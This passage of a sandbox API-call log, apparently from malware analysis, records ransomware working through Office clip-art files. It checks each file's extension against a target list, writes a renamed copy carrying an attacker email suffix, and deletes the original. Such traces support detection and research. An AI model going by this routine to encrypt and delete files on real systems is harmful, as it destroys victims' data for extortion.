lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.473] SetEndOfFile (hFile=0x384) returned 1 [0271.473] CloseHandle (hObject=0x384) returned 1 [0271.474] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.474] SetEndOfFile (hFile=0x37c) returned 1 [0271.556] CloseHandle (hObject=0x37c) returned 1 [0271.556] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.651] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01630_.wmf")) returned 1 [0271.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.652] lstrlenW (lpString=".doc") returned 4 [0271.652] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString=".docx") returned 5 [0271.652] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.652] lstrlenW (lpString=".pdf") returned 4 [0271.652] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString=".xls") returned 4 [0271.652] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.652] lstrlenW (lpString=".xlsx") returned 5 [0271.652] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.652] lstrlenW (lpString=".ppt") returned 4 [0271.652] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.652] lstrlenW (lpString=".zip") returned 4 [0271.652] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.652] lstrlenW (lpString=".rar") returned 4 [0271.652] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString=".bz2") returned 4 [0271.652] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString=".7z") returned 3 [0271.652] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.652] lstrlenW (lpString=".dbf") returned 4 [0271.652] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.652] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".1cd") returned 4 [0271.653] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".jpg") returned 4 [0271.653] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".doc") returned 4 [0271.653] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString=".docx") returned 5 [0271.653] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.653] lstrlenW (lpString=".pdf") returned 4 [0271.653] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString=".xls") returned 4 [0271.653] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.653] lstrlenW (lpString=".xlsx") returned 5 [0271.653] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.653] lstrlenW (lpString=".ppt") returned 4 [0271.653] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".zip") returned 4 [0271.653] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.653] lstrlenW (lpString=".rar") returned 4 [0271.653] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString=".bz2") returned 4 [0271.653] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString=".7z") returned 3 [0271.653] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".dbf") returned 4 [0271.653] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.653] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.653] lstrlenW (lpString=".1cd") returned 4 [0271.654] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.654] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01630_.WMF") returned 63 [0271.654] lstrlenW (lpString=".jpg") returned 4 [0271.654] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.654] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.654] lstrlenW (lpString="DD01772_.WMF") returned 12 [0271.654] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0271.663] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2300) returned 1 [0271.663] CloseHandle (hObject=0x37c) returned 1 [0271.663] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 0x20 [0271.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.706] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.706] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.706] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.707] GetLastError () returned 0x0 [0271.707] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x8fc, lpOverlapped=0x0) returned 1 [0271.708] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x900, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x900, lpOverlapped=0x0) returned 1 [0271.709] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.709] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.709] SetEndOfFile (hFile=0x2f8) returned 1 [0271.709] CloseHandle (hObject=0x2f8) returned 1 [0271.709] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.709] SetEndOfFile (hFile=0x304) returned 1 [0271.712] CloseHandle (hObject=0x304) returned 1 [0271.712] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.712] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\dd01772_.wmf")) returned 1 [0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.712] lstrlenW (lpString=".doc") returned 4 [0271.712] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.712] lstrlenW (lpString=".docx") returned 5 [0271.712] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.712] lstrlenW (lpString=".pdf") returned 4 [0271.713] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString=".xls") returned 4 [0271.713] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.713] lstrlenW (lpString=".xlsx") returned 5 [0271.713] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.713] lstrlenW (lpString=".ppt") returned 4 [0271.713] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString=".zip") returned 4 [0271.713] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.713] lstrlenW (lpString=".rar") returned 4 [0271.713] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString=".bz2") returned 4 [0271.713] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString=".7z") returned 3 [0271.713] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString=".dbf") returned 4 [0271.713] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString=".1cd") returned 4 [0271.713] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString=".jpg") returned 4 [0271.713] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.713] lstrlenW (lpString=".doc") returned 4 [0271.713] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.713] lstrlenW (lpString=".docx") returned 5 [0271.713] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.714] lstrlenW (lpString=".pdf") returned 4 [0271.714] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString=".xls") returned 4 [0271.714] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.714] lstrlenW (lpString=".xlsx") returned 5 [0271.714] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.714] lstrlenW (lpString=".ppt") returned 4 [0271.714] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.714] lstrlenW (lpString=".zip") returned 4 [0271.714] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.714] lstrlenW (lpString=".rar") returned 4 [0271.714] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString=".bz2") returned 4 [0271.714] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString=".7z") returned 3 [0271.714] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.714] lstrlenW (lpString=".dbf") returned 4 [0271.714] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.714] lstrlenW (lpString=".1cd") returned 4 [0271.714] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.714] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\DD01772_.WMF") returned 63 [0271.714] lstrlenW (lpString=".jpg") returned 4 [0271.714] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.714] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.714] lstrlenW (lpString="ED00172_.WMF") returned 12 [0271.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.719] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=2700) returned 1 [0271.719] CloseHandle (hObject=0x304) returned 1 [0271.719] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 0x20 [0271.720] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.720] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.720] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.720] GetLastError () returned 0x0 [0271.721] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0xa8c, lpOverlapped=0x0) returned 1 [0271.722] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xa90, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xa90, lpOverlapped=0x0) returned 1 [0271.723] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.723] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.723] SetEndOfFile (hFile=0x2f8) returned 1 [0271.723] CloseHandle (hObject=0x2f8) returned 1 [0271.723] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.723] SetEndOfFile (hFile=0x304) returned 1 [0271.726] CloseHandle (hObject=0x304) returned 1 [0271.726] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.726] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00172_.wmf")) returned 1 [0271.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.727] lstrlenW (lpString=".doc") returned 4 [0271.727] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.727] lstrlenW (lpString=".docx") returned 5 [0271.727] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.727] lstrlenW (lpString=".pdf") returned 4 [0271.727] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.727] lstrlenW (lpString=".xls") returned 4 [0271.727] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.728] lstrlenW (lpString=".xlsx") returned 5 [0271.728] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.728] lstrlenW (lpString=".ppt") returned 4 [0271.728] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString=".zip") returned 4 [0271.728] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.728] lstrlenW (lpString=".rar") returned 4 [0271.728] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString=".bz2") returned 4 [0271.728] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString=".7z") returned 3 [0271.728] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString=".dbf") returned 4 [0271.728] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString=".1cd") returned 4 [0271.728] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString=".jpg") returned 4 [0271.728] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.728] lstrlenW (lpString=".doc") returned 4 [0271.728] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0271.728] lstrlenW (lpString=".docx") returned 5 [0271.728] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0271.728] lstrlenW (lpString=".pdf") returned 4 [0271.729] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString=".xls") returned 4 [0271.729] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0271.729] lstrlenW (lpString=".xlsx") returned 5 [0271.729] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0271.729] lstrlenW (lpString=".ppt") returned 4 [0271.729] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.729] lstrlenW (lpString=".zip") returned 4 [0271.729] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0271.729] lstrlenW (lpString=".rar") returned 4 [0271.729] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString=".bz2") returned 4 [0271.729] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString=".7z") returned 3 [0271.729] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.729] lstrlenW (lpString=".dbf") returned 4 [0271.729] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.729] lstrlenW (lpString=".1cd") returned 4 [0271.729] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0271.729] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00172_.WMF") returned 63 [0271.729] lstrlenW (lpString=".jpg") returned 4 [0271.729] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0271.729] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1 [0271.729] lstrlenW (lpString="ED00184_.WMF") returned 12 [0271.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.730] GetFileSizeEx (in: hFile=0x304, lpFileSize=0x2d3ff1c | out: lpFileSize=0x2d3ff1c*=6958) returned 1 [0271.730] CloseHandle (hObject=0x304) returned 1 [0271.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf")) returned 0x20 [0271.730] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html")) returned 0xffffffff [0271.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x304 [0271.731] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.731] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ed00184_.wmf.id-9c354b42.[zanzibar65@mail.fr].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8 [0271.731] GetLastError () returned 0x0 [0271.731] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x1b2e, lpOverlapped=0x0) returned 1 [0271.733] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0x1b30, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0x1b30, lpOverlapped=0x0) returned 1 [0271.733] ReadFile (in: hFile=0x304, lpBuffer=0x3850020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d3fed4, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesRead=0x2d3fed4*=0x0, lpOverlapped=0x0) returned 1 [0271.734] WriteFile (in: hFile=0x2f8, lpBuffer=0x3850020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d3fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3850020*, lpNumberOfBytesWritten=0x2d3fc9c*=0xec, lpOverlapped=0x0) returned 1 [0271.734] SetEndOfFile (hFile=0x2f8) returned 1 [0271.734] CloseHandle (hObject=0x2f8) returned 1 [0271.734] SetFilePointerEx (in: hFile=0x304, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d3fec8 | out: lpNewFilePointer=0x0) returned 1 [0271.734] SetEndOfFile (hFile=0x304) returned 1 [0271.736] CloseHandle (hObject=0x304) returned 1 [0271.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF.id-9C354B42.[zanzibar65@mail.fr].html", dwFileAttributes=0x20) returned 1 [0271.737] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ED00184_.WMF" 